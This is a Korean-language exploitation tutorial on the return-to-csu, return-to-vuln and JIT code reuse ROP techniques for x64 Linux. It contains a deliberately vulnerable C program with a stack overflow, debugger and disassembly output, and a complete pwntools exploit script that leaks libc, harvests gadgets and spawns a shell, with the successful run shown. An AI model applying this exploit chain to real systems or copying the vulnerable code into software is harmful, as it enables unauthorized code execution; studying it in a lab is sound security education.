Excuse the ads! We need some help to keep our site up.

List

Return-to-csu - x64(feat. & Return-to-vuln)

  • return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술 입니다.
    • __libc_csu_init() 함수는 프로그램 실행시 _init() 함수와 __preinit_array, __init_array 에 설정된 함수 포인터를 읽어서 함수를 호출합니다.
  • return-to-csu에서 사용되는 코드는 다음과 같습니다.
    • 해당 코드는 __init_array에 저장된 함수 포인터를 읽어 호출하는 코드입니다.

Return-to-vuln

  • Return-to-vuln 이란 ROP 코드를 실행한 후에 취약성이 있는 코드로 다시 이동하는 것을 말합니다.

  • Return-to-dl-resolve 기법에서 스택의 흐름을 변경하기 위해 "leave; ret;" Gadget을 이용할 수 있습니다.

  • 하지만 clang으로 컴파일된 바이너리 파일에서는 "leave; ret;" 찾을 수 없습니다.

GCC vs Clang

  • 다음과 같이 GCC로 컴파일된 파일에서 "leave ; ret ;" Gadget을 찾을 수 있습니다.
GCC
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -o rop-gcc rop.c
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ ./rp-lin-x64 -f ./rop-gcc -r 1|grep "leave"
0x00400575: leave  ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$
  • Clang으로 컴파일된 파일에서는 "leave ; ret ;" Gadget을 찾을 수 없습니다.
Clang
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ clang -fno-stack-protector -Wl,-z,relro,-z,now -o rop rop.c
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ ./rp-lin-x64 -f ./rop -r 1|grep "leave"
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$
  • 다음과 같이 Clang으로 컴파일된 바이너리는 스택(엔트리 포인트)을 정리할 때 "leave" 명령어가 사용되지 않습니다.

objdump -d rop
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ objdump -d rop
...
0000000000400590 <main>:
  400590:	55                   	push   %rbp
  400591:	48 89 e5             	mov    %rsp,%rbp
  400594:	48 83 ec 10          	sub    $0x10,%rsp
  400598:	bf 01 00 00 00       	mov    $0x1,%edi
  40059d:	48 be 54 06 40 00 00 	movabs $0x400654,%rsi
  4005a4:	00 00 00 
  4005a7:	b8 0a 00 00 00       	mov    $0xa,%eax
  4005ac:	89 c2                	mov    %eax,%edx
  4005ae:	c7 45 fc 00 00 00 00 	movl   $0x0,-0x4(%rbp)
  4005b5:	e8 86 fe ff ff       	callq  400440 <_init+0x30>
  4005ba:	48 89 45 f0          	mov    %rax,-0x10(%rbp)
  4005be:	e8 9d ff ff ff       	callq  400560 <vuln>
  4005c3:	31 c0                	xor    %eax,%eax
  4005c5:	48 83 c4 10          	add    $0x10,%rsp
  4005c9:	5d                   	pop    %rbp
  4005ca:	c3                   	retq   
  4005cb:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
...
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$
  • 이러한 문제를 해결하기 위해 Return-to-vuln 기법을 사용할 수 있습니다.

  • 다음과 같이 ROP 코드 실행 후 취약성이 있는 함수를 다시 호출하여 공격하는 방식입니다.

Return-to-vuln

Just-In-Time Code Reuse

  • Just-In-Time Code Reuse는 JIT(Just -In-Time Compilation)에 대한 이해가 필요합니다.
    • 여기에서 간단하게 설명하면 JIT 컴파일러는 소스 코드 또는 머신 코드에 대한 바이트 코드를 컴파일하고 실행하는 것으로 구성됩니다
    • 이러한 동작들은 일반적으로 메모리에서 직접 수행되며, 변형된 바이코드를 실행하기 위해 해당 코드가 저장된 메모리 영역에 실행 권한이 필요합니다.
  • Just-In-Time Code Reuse 는 ROP를 이용하여 JIT 컴파일러에 의해 생성된 바이트 코드의 영역을 읽어서 부족한 Gadget을 찾는 방식입니다.
    • 이러한 방식은 JIT 컴파일러에만 적용되지 않으며, 다양하게 활용할 수 있습니다.

    • 이 장에서는 libc 영역을 읽어 부족한 Gadget을 찾아 사용합니다.

Proof of concept

Example code

rop.c
//clang -fno-stack-protector -Wl,-z,relro,-z,now -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
 
int main(){
    write(1,"Hello ROP\n",10);
    vuln();
    return 0;
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x400560 : vuln 함수 코드 첫부분

    • 0x400575 : read() 함수 호출 전

Breakpoints
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400560 <+0>:	push   rbp
   0x0000000000400561 <+1>:	mov    rbp,rsp
   0x0000000000400564 <+4>:	sub    rsp,0x50
   0x0000000000400568 <+8>:	xor    edi,edi
   0x000000000040056a <+10>:	mov    eax,0x200
   0x000000000040056f <+15>:	mov    edx,eax
   0x0000000000400571 <+17>:	lea    rsi,[rbp-0x40]
   0x0000000000400575 <+21>:	call   0x400448
   0x000000000040057a <+26>:	mov    QWORD PTR [rbp-0x48],rax
   0x000000000040057e <+30>:	add    rsp,0x50
   0x0000000000400582 <+34>:	pop    rbp
   0x0000000000400583 <+35>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400560
Breakpoint 1 at 0x400560
gdb-peda$ b *0x0000000000400575
Breakpoint 2 at 0x400575
gdb-peda$ 
  • 다음과 같이 Overflow를 확인할 수 있습니다.
    • Return address(0x7fffffffe468) - buf 변수의 시작 주소 (0x7fffffffe420) = 72

    • 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Check overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/__libc_csu_init/clang/rop 
Hello ROP
Breakpoint 1, 0x0000000000400560 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe468	0x7fffffffe468
gdb-peda$ c
Continuing.
Breakpoint 2, 0x0000000000400575 in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe420	0x7fffffffe420
gdb-peda$ p/d 0x7fffffffe468 - 0x7fffffffe420
$1 = 72
gdb-peda$ 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
  1. 번째 ROP Chain
    1. write() 함수를 이용하여 __libc_start_main@GOT 영역에 저장된 libc 주소를 추출합니다.
    2. vuln() 함수의 시작 주소로 이동합니다.
  2. 번째 ROP Chain
    1. JIT ROP - write() 함수를 이용하여 메모리에 저장된 libc 파일을 출력합니다.
      1. 출력 값에서 필요한 ROP Gadget을 찾습니다.
    2. read() 함수를 이용하여 .bss 영역에 값을 저장합니다.
      1. execve() 함수의 첫번째 인자 값으로 전달할 "/bin/sh"을 .bss 영역에 저장합니다.
    3. vuln() 함수의 시작 주소로 이동합니다.
  3. 번째 ROP Chain
    1. execve() 시스템 함수를 이용해 "/bin/sh"를 실행 합니다.
  • 이를 코드로 표현하면 다음과 같습니다.
write(1,__libc_start_main,8)
JMP vuln()
write(1,Address of leak libc,0x190000)
read(0, base_stage ,8)
JMP vuln()
execve("/bin/sh", NULL, NULL)
  • 공격을 위해 알아야 할 정보는 다음과 같습니다.
  • .bss , libc 영역의 주소
  • return-to-csu gadget 주소
  • read, write 함수의 got 주소
  • vuln()함수의 시작 주소

Find the address of the .bss area

readelf -S ./rop
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ readelf -S ./rop
There are 29 section headers, starting at offset 0x19f0:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       0000000000000030  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002c8  000002c8
       0000000000000078  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400340  00000340
       0000000000000043  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400384  00000384
       000000000000000a  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400390  00000390
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             00000000004003b0  000003b0
       0000000000000060  0000000000000018   A       5     0     8
  [10] .init             PROGBITS         0000000000400410  00000410
       000000000000001a  0000000000000000  AX       0     0     4
  [11] .plt              PROGBITS         0000000000400430  00000430
       0000000000000010  0000000000000010  AX       0     0     16
  [12] .plt.got          PROGBITS         0000000000400440  00000440
       0000000000000020  0000000000000000  AX       0     0     8
  [13] .text             PROGBITS         0000000000400460  00000460
       00000000000001e2  0000000000000000  AX       0     0     16
  [14] .fini             PROGBITS         0000000000400644  00000644
       0000000000000009  0000000000000000  AX       0     0     4
  [15] .rodata           PROGBITS         0000000000400650  00000650
       000000000000000f  0000000000000000   A       0     0     4
  [16] .eh_frame_hdr     PROGBITS         0000000000400660  00000660
       000000000000003c  0000000000000000   A       0     0     4
  [17] .eh_frame         PROGBITS         00000000004006a0  000006a0
       0000000000000114  0000000000000000   A       0     0     8
  [18] .init_array       INIT_ARRAY       0000000000600df0  00000df0
       0000000000000008  0000000000000000  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600df8  00000df8
       0000000000000008  0000000000000000  WA       0     0     8
  [20] .jcr              PROGBITS         0000000000600e00  00000e00
       0000000000000008  0000000000000000  WA       0     0     8
  [21] .dynamic          DYNAMIC          0000000000600e08  00000e08
       00000000000001c0  0000000000000010  WA       6     0     8
  [22] .got              PROGBITS         0000000000600fc8  00000fc8
       0000000000000038  0000000000000008  WA       0     0     8
  [23] .data             PROGBITS         0000000000601000  00001000
       0000000000000010  0000000000000000  WA       0     0     8
  [24] .bss              NOBITS           0000000000601010  00001010
       0000000000000008  0000000000000000  WA       0     0     1
  [25] .comment          PROGBITS         0000000000000000  00001010
       000000000000006b  0000000000000001  MS       0     0     1
  [26] .shstrtab         STRTAB           0000000000000000  000018f2
       00000000000000fe  0000000000000000           0     0     1
  [27] .symtab           SYMTAB           0000000000000000  00001080
       0000000000000648  0000000000000018          28    45     8
  [28] .strtab           STRTAB           0000000000000000  000016c8
       000000000000022a  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$

Find the address of the return-to-csu gadget

  • 다음과 같이 return-to-csu gadget 및 vuln()함수의 주소를 찾을 수 있습니다.
    • Gadget 1 : 0x40062a
    • Gadget 2 : 0x4005f0
    • Gadget 3 : 0x400610
    • vuln() : 0x400560
objdump -M intel -d ./rop
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ objdump -M intel -d ./rop
...
0000000000400560 <vuln>:
  400560:	55                   	push   rbp
  400561:	48 89 e5             	mov    rbp,rsp
  400564:	48 83 ec 50          	sub    rsp,0x50
  400568:	31 ff                	xor    edi,edi
  40056a:	b8 00 02 00 00       	mov    eax,0x200
  40056f:	89 c2                	mov    edx,eax
  400571:	48 8d 75 c0          	lea    rsi,[rbp-0x40]
  400575:	e8 ce fe ff ff       	call   400448 <_init+0x38>
  40057a:	48 89 45 b8          	mov    QWORD PTR [rbp-0x48],rax
  40057e:	48 83 c4 50          	add    rsp,0x50
  400582:	5d                   	pop    rbp
  400583:	c3                   	ret    
  400584:	66 66 66 2e 0f 1f 84 	data16 data16 nop WORD PTR cs:[rax+rax*1+0x0]
  40058b:	00 00 00 00 00 
...
00000000004005d0 <__libc_csu_init>:
  4005d0:	41 57                	push   r15
  4005d2:	41 56                	push   r14
  4005d4:	41 89 ff             	mov    r15d,edi
  4005d7:	41 55                	push   r13
  4005d9:	41 54                	push   r12
  4005db:	4c 8d 25 0e 08 20 00 	lea    r12,[rip+0x20080e]        # 600df0 <__frame_dummy_init_array_entry>
  4005e2:	55                   	push   rbp
  4005e3:	48 8d 2d 0e 08 20 00 	lea    rbp,[rip+0x20080e]        # 600df8 <__init_array_end>
  4005ea:	53                   	push   rbx
  4005eb:	49 89 f6             	mov    r14,rsi
  4005ee:	49 89 d5             	mov    r13,rdx
  4005f1:	4c 29 e5             	sub    rbp,r12
  4005f4:	48 83 ec 08          	sub    rsp,0x8
  4005f8:	48 c1 fd 03          	sar    rbp,0x3
  4005fc:	e8 0f fe ff ff       	call   400410 <_init>
  400601:	48 85 ed             	test   rbp,rbp
  400604:	74 20                	je     400626 <__libc_csu_init+0x56>
  400606:	31 db                	xor    ebx,ebx
  400608:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
  40060f:	00 
  400610:	4c 89 ea             	mov    rdx,r13
  400613:	4c 89 f6             	mov    rsi,r14
  400616:	44 89 ff             	mov    edi,r15d
  400619:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  40061d:	48 83 c3 01          	add    rbx,0x1
  400621:	48 39 eb             	cmp    rbx,rbp
  400624:	75 ea                	jne    400610 <__libc_csu_init+0x40>
  400626:	48 83 c4 08          	add    rsp,0x8
  40062a:	5b                   	pop    rbx
  40062b:	5d                   	pop    rbp
  40062c:	41 5c                	pop    r12
  40062e:	41 5d                	pop    r13
  400630:	41 5e                	pop    r14
  400632:	41 5f                	pop    r15
  400634:	c3                   	ret    
  400635:	90                   	nop
  400636:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  40063d:	00 00 00 
...   
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ 

Exploit code

rop.py
from pwn import *
from struct import *
 
#context.log_level = 'debug'
 
binary = ELF('./rop')

execve = 59

addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
 
addr_csu_init1 = 0x40062a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x400610
addr_main = 0x400560
 
stacksize = 0x400
base_stage = addr_bss + stacksize
 
p = process(binary.path)
p.recvn(10)
 
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Stage 1 - write(1,addr_got_start,8)
buf += p64(addr_csu_init1) 
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)

p.send(buf)
leak = p.recv()
libc_addr = u64(leak[:8])
log.info("__libc_start_main : " + hex(libc_addr))
 
libc_bin = ''
libc_readsize = 0x190000
 
buf = 'A' * 72
#Stage 2 - write(1, Address of leak libc, 0x190000)
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
 
#Stage 2 - read(0, base_stage ,8)
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(8)
buf += p64(base_stage)
buf += p64(0)

#Jump to main()
buf += p64(addr_csu_init3)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_main)

p.send(buf)

with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))

offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
log.info("libc addr : " + hex(libc_addr))
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))

buf = "/bin/sh\x00"

p.send(buf)

##Stage 3 - execve("/bin/sh", NULL, NULL)
buf =  'A' * 72
buf += p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)

p.send(buf)
p.interactive()
Get shell!
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init/clang$ python exploit.py 
[*] '/home/lazenca0x0/Exploit/__libc_csu_init/clang/rop'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/__libc_csu_init/clang/rop': pid 18402
[*] __libc_start_main : 0x7fd64e77b740
[+] Reading libc area from memory...: Done
[*] libc addr : 0x7fd64e77b740
[*] Gadget : pop rax; ret > 0x7fd64e78e544
[*] Gadget : pop rdi; ret > 0x7fd64e77c102
[*] Gadget : pop rsi; ret > 0x7fd64e77dbb5
[*] Gadget : pop rdx; ret > 0x7fd64e8700a6
[*] Gadget : syscall > 0x7fd64e77b8a4
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References